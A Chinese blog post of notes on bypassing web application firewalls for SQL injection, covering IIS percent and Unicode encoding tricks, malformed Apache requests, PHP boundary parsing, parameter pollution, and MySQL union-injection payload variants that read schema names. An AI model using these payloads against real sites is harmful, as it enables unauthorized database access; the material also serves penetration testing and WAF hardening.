• WAF Bypass 笔记(SQL注入篇)


    0x01 背景

       waf Bypass 笔记

    0x02 服务器特性

    1、%特性(ASP+IIS)

    在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能解析出来的结果就是s%elect,但是在iis+asp的环境的时候,解析出来的结果为select。

    Ps.此处猜测可能是iis下asp.dll解析时候的问题,aspx+iis的环境就没有这个特性。

    2、%u特性(asp+iis和aspx+iis)

    Iis服务器支持对于unicode的解析,例如我们对于select中的字符进行unicode编码,可以得到如下的s%u006c%u0006ect,这种字符在IIS接收到之后会被转换为select,但是对于WAF层,可能接收到的内容还是s%u006c%u0006ect,这样就会形成bypass的可能。

    3、另类%u特性(ASP+IIS)

    该漏洞主要利用的是unicode在iis解析之后会被转换成multibyte,但是转换的过程中可能出现: 多个widechar会有可能转换为同一个字符。 打个比方就是譬如select中的e对应的unicode为%u0065,但是%u00f0同样会被转换成为e。

    s%u0065lect->select

    s%u00f0lect->select

    WAF层可能能识别s%u0065lect的形式,但是很有可能识别不了s%u00f0lect的形式。这样就可以利用起来做WAF的绕过。

    测试情况:

    s%u0045lect = s%u0065lect = %u00f0lect

    u --> %u0055 --> %u0075

    n -->%u004e --> %u006e

    i -->%u0049 --> %u0069

    o -->%u004f --> %u006f -->%u00ba

    s -->%u0053 --> %u0073

    l -->%u004c --> %u006c

    e -->%u0045 --> %u0065-->%u00f0

    c -->%u0043 --> %u0063

    t -->%u0054 -->%u0074 -->%u00de -->%u00fe

    f -->%u0046 -->%u0066

    r -->%u0052 -->%u0072

    m -->%u004d -->%u006d

    4、apache畸形method

    某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容,如请求为的method为DOTA2,依然返回了aid为2的结果。

    php+apache畸形的boundary Php在解析multipart data的时候有自己的特性,对于boundary的识别,只取了逗号前面的内容,例如我们设置的boundary为----aaaa,123456,php解析的时候只识别了----aaaa,后面的内容均没有识别。然而其他的如WAF在做解析的时候,有可能获取的是整个字符串,此时可能就会出现BYPASS。

    0x03 应用层特性

    1、变换请求获取方式

     GET/POST/COOKOE

    2、畸形请求方式

    3、HPP参数污染

    HPP是指HTTP参数污染。形如以下形式:

    ?id=1&id=2&id=3的形式,此种形式在获取id值的时候不同的web技术获取的值是不一样的。

    假设提交的参数即为:

    id=1&id=2&id=3 
    Asp.net + iis:id=1,2,3 
    Asp + iis:id=1,2,3 
    Php + apache:id=3

    0x04 数据库特性

    1、MYSQL

    第一:参数和union之间的位置

    (1):Nunion的形式:

    select * from admin where username=Nunion  (select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))

    (2):浮点数的形式如1.1,8.0

    select * from admin where username=1.1union  (select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))

    (3):8e0的形式:

    select * from admin where username=8e0union  (select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))

    (4): 利用/*!50000*/的形式

    select * from admin where username=1/*!50000union*/(select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))

    第二:union和select之前的位置

    (1)空白字符

    Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%a0

    id=1%23%0aunion select 1,2

    (2)注释使用空白注释

    MYSQL中可以利用的空白字符有:

    /**/

    /*letmetest*/

    3)使用括号

    select * from admin where username=8e0union(select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))

    第三:union select后的位置

    (1)空白字符

    Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%a0;

    (2)注释

    使用空白注释

    MYSQL中可以利用的空白字符有:

    /**/

    /*letmetest*/

    最后

    欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

     

     
  • 相关阅读:
    记录nginx 搭建集群环境踏过的坑
    工作中常见问题
    自定义WebViewPage,实现Url.Action生成绝对地址
    上传阿里云样式文件不解析问题一例总结
    EF4.4 升级EF6.0问题总结
    记一次数据库迁移遇到问题
    javascript 中 !~ 什么意思
    jquery.mobile 中 collapsible-set collapsible listview 共同布局问题
    T-sql脚本规范
    EasyUI使用技巧总结
  • 原文地址:https://www.cnblogs.com/xiaozi/p/6916756.html
Copyright © 2020-2023  润新知